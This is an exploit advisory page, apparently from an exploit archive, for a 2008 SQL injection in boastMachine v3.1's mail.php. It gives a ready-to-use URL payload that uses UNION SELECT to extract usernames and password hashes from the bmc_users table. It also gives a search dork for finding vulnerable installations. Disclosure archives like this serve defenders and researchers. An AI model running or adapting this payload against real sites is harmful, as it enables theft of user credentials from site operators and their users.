boastMachine v3.1 Remote Sql Injection

2008.11.21
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

##################################################################################### #### boastMachine v3.1 Remote Sql Injection #### ##################################################################################### # # #AUTHOR : R3d.W0rm (Sina Yazdanmehr) # #Discovered by : R3d.W0rm (Sina Yazdanmehr) # #Our Site : http://IRCRASH.COM # #IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi # ##################################################################################### # # #Download : www.boastology.com # # # #DORK : Powered by boastMachine v3.1 # # # ##################################################################################### # [Bug] # # # #http://Site/[path]/mail.php?action=R3d.W0rm&blog=1&id=-99999'+union+select+0,1,concat_ws(0x7c,user_login,user_pass),3+from+bmc_users/* # # ##################################################################################### # Site : http://IRCRASH.COM # ###################################### TNX GOD ######################################

References:

http://seclists.org/bugtraq/2008/Nov/0147.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top